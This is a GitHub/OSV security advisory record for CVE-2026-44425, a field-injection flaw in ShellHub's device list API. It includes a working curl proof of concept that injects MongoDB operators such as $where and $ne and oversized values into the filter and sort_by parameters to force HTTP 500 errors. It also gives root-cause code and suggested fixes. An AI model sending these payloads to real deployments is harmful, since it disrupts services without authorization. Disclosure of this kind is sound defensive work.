CVE-2026-44425: Github.com/shellhub io/shellhub Denial of Service Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-47r2-v3x6-wff9",
  "modified" : "2026-05-14T20:43:23Z",
  "published" : "2026-05-06T23:28:05Z",
  "aliases" : [ "CVE-2026-44425" ],
  "summary" : "ShellHub has crash-DoS via field injection in filter and sort-by parameters",
  "details" : "## Summary\nThe device list endpoint accepts user-controlled identifiers in two places that are passed directly as BSON/SQL keys in the database layer without validation:\n\n  1. The `name` field of each filter property in the base64-encoded `filter`\n     query parameter.\n  2. The `sort_by` query parameter.\n\nAny authenticated user can craft payloads that cause the aggregation/query to fail and the API to return HTTP 500 with no body, with no rate limiting applied.\n\n## Severity\n**CVSS 3.1: 6.5 (Medium)** \nCWE-20 (Improper Input Validation) \nCWE-943 (Improper Neutralization of Special Elements in Data Query Logic)\n\n## Affected versions\nShellHub Community v0.24.1 (validated). All versions sharing the same filter and sort pipeline (`api/store/mongo/query-options.go`).\n\n## Root cause\n\n### Vector 1 — Filter field name\n  `api/store/mongo/query-options.go:140`:\n\n  ```go\n  conditions = append(conditions, bson.M{param.Name: property})\n  ```\n\n`param.Name` is the `name` field from the JSON filter supplied by the client. It becomes a BSON map key with no validation, allowing BSON operator names (`$where`, `$ne`, `$or`, `$regex`) and virtual pipeline-computed fields (`namespace`, paths containing `$`) to be  injected.\n\n### Vector 2 — Sort-by field\nSimilar pattern in the sort pipeline where the `sort_by` query parameter is used to build `bson.M{\"$sort\": {sortBy: order}}` without validation.\n\n### Additional observation\n`fromContains` (`api/store/mongo/internal/filters.go:60-69`) passes user input directly as `$regex` value, which enables blind regex extraction over string fields within the caller's tenant and potential ReDoS amplification on large datasets.\n\n  ```go\n  func fromContains(value interface{}) (bson.M, error) {\n      switch value.(type) {\n      case string:\n          return bson.M{\"$regex\": value, \"$options\": \"i\"}, nil\n  ```\n\n## Proof of concept (validated live against v0.24.1)\n\n  ```bash\n  TOKEN=<valid-user-jwt>\n\n  # Helper: base64-encode a filter payload\n  encode_filter() {\n    python3 -c 'import json,base64,sys;print(base64.b64encode(json.dumps(json.loads(sys.argv[1])).encode()).decode())' \"$1\"\n  }\n\n  # --- Vector 1: filter field injection ---\n\n  # Baseline: legitimate filter -> 200\n  F=$(encode_filter '[{\"type\":\"property\",\"params\":{\"name\":\"name\",\"operator\":\"contains\",\"value\":\"anything\"}}]')\n  curl -sS -w \"HTTP=%{http_code}\\n\" \"http://target/api/devices?filter=$F\" \\\n    -H \"Authorization: Bearer $TOKEN\"\n  # HTTP=200\n\n  # Exploit 1a: Mongo operator as field name\n  F=$(encode_filter '[{\"type\":\"property\",\"params\":{\"name\":\"$where\",\"operator\":\"contains\",\"value\":\"x\"}}]')\n  curl -sS -w \"HTTP=%{http_code}\\n\" \"http://target/api/devices?filter=$F\" \\\n    -H \"Authorization: Bearer $TOKEN\"\n  # HTTP=500\n\n  # Exploit 1b: nested object as value\n  F=$(encode_filter '[{\"type\":\"property\",\"params\":{\"name\":\"status\",\"operator\":\"eq\",\"value\":{\"$ne\":\"accepted\"}}}]')\n  curl -sS -w \"HTTP=%{http_code}\\n\" \"http://target/api/devices?filter=$F\" \\\n    -H \"Authorization: Bearer $TOKEN\"\n  # HTTP=500\n\n  # Exploit 1c: pipeline-computed field as filter name\n  F=$(encode_filter '[{\"type\":\"property\",\"params\":{\"name\":\"namespace\",\"operator\":\"contains\",\"value\":\".\"}}]')\n  curl -sS -w \"HTTP=%{http_code}\\n\" \"http://target/api/devices?filter=$F\" \\\n    -H \"Authorization: Bearer $TOKEN\"\n  # HTTP=500\n\n  # --- Vector 2: sort-by injection ---\n\n  # Baseline: legitimate sort -> 200\n  curl -sS -w \"HTTP=%{http_code}\\n\" \"http://target/api/devices?sort_by=name\" \\\n    -H \"Authorization: Bearer $TOKEN\"\n  # HTTP=200\n\n  # Exploit 2a: Mongo operator as sort field\n  curl -sS -w \"HTTP=%{http_code}\\n\" \"http://target/api/devices?sort_by=\\$where\" \\\n    -H \"Authorization: Bearer $TOKEN\"\n  # HTTP=500\n\n  # Exploit 2b: path containing $\n  curl -sS -w \"HTTP=%{http_code}\\n\" \"http://target/api/devices?sort_by=_id.%24%24%24\" \\\n    -H \"Authorization: Bearer $TOKEN\"\n  # HTTP=500\n\n  # Exploit 2c: oversized sort field (no length validation)\n  curl -sS -w \"HTTP=%{http_code}\\n\" \"http://target/api/devices?sort_by=$(python3 -c 'print(\"A\"*5000)')\" \\\n    -H \"Authorization: Bearer $TOKEN\"\n  # HTTP=500\n\n  # Exploit 2d: non-indexable internal field\n  curl -sS -w \"HTTP=%{http_code}\\n\" \"http://target/api/devices?sort_by=tenant_id\" \\\n    -H \"Authorization: Bearer $TOKEN\"\n  # HTTP=500\n\n  # --- Repeat to demonstrate no rate limiting ---\n  for i in $(seq 1 20); do\n    curl -sS -o /dev/null -w \"%{http_code} \" \"http://target/api/devices?sort_by=\\$where\" \\\n      -H \"Authorization: Bearer $TOKEN\"\n  done\n  # 500 500 500 500 500 500 500 500 500 500 500 500 500 500 500 500 500 500 500 500\n  ```\n\n  **Confirmed field values that trigger 500:**\n  - Filter name: `$where`, `$regex`, `$or`, `$ne`, `remote_addr`, `tenant_id`, `namespace`, any path containing `$` after a `.`\n  - Sort-by: `$where`, `_id.$$$`, `tenant_id`, `password.hash`, overly long strings\n\n  **Observed response characteristics:**\n  ```\n  HTTP/1.1 500 Internal Server Error\n  Content-Length: 0\n  X-Request-Id: <id>    ← logged as error in backend\n  ```\n\nResponse time 8-18 ms per request, server process stays alive, no degradation across 20 consecutive requests.\n\n## Impact\n  - **Availability (low):** unrestricted HTTP 500 generation by any authenticated caller; log noise, SIEM false-positives, WAF bypass\nfingerprinting.\n  - **Information disclosure (low):** potential stack trace exposure depending on logger configuration; attacker can fingerprint the underlying MongoDB aggregation pipeline and schema.\n  - **Resource exhaustion (potential):** user-controlled `$regex` value on large tenant datasets enables ReDoS amplification (not reproducible on a 2-device test instance, but attack surface is real on production-scale deployments).\n  - **Forensics difficulty:** unified 500 response makes it hard to distinguish legitimate errors from attacker probes in logs.\n\n## Suggested fix\n\n  1. **Allowlist filter and sort field names per collection.** Add a whitelist of allowed `param.Name` and `sort_by` values for each model exposed via filters (`device`, `session`, etc.). Reject anything else with HTTP 400.\n\n  2. **Reject BSON operators in field names.** Even if an allowlist is not practical, reject values that:\n     - start with `$`\n     - contain `$` after a `.`\n     - contain characters outside `[A-Za-z0-9_.]`\n     - exceed a reasonable length (e.g., 64 characters)\n\n  3. **Validate `value` shape.** For `contains`/`eq`/`ne` operators, reject non-primitive values (objects, arrays of objects).\n\n  4. **Catch aggregation errors.** In `api/store/mongo/query-options.go`,  wrap pipeline execution and return a typed error that the HTTP layer maps to 400 Bad Request instead of 500.\n\n  5. **Limit regex complexity.** In `fromContains`, reject regex values longer than N characters or containing nested quantifiers (`(...)+`, `(...)*`, `(.+)+`, etc.) to mitigate ReDoS.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:L"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/shellhub-io/shellhub"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.24.2"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 0.24.1"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/shellhub-io/shellhub/security/advisories/GHSA-47r2-v3x6-wff9"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-44425"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/shellhub-io/shellhub"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-1333", "CWE-20", "CWE-943" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-06T23:28:05Z",
    "nvd_published_at" : "2026-05-13T22:16:44Z"
  }
}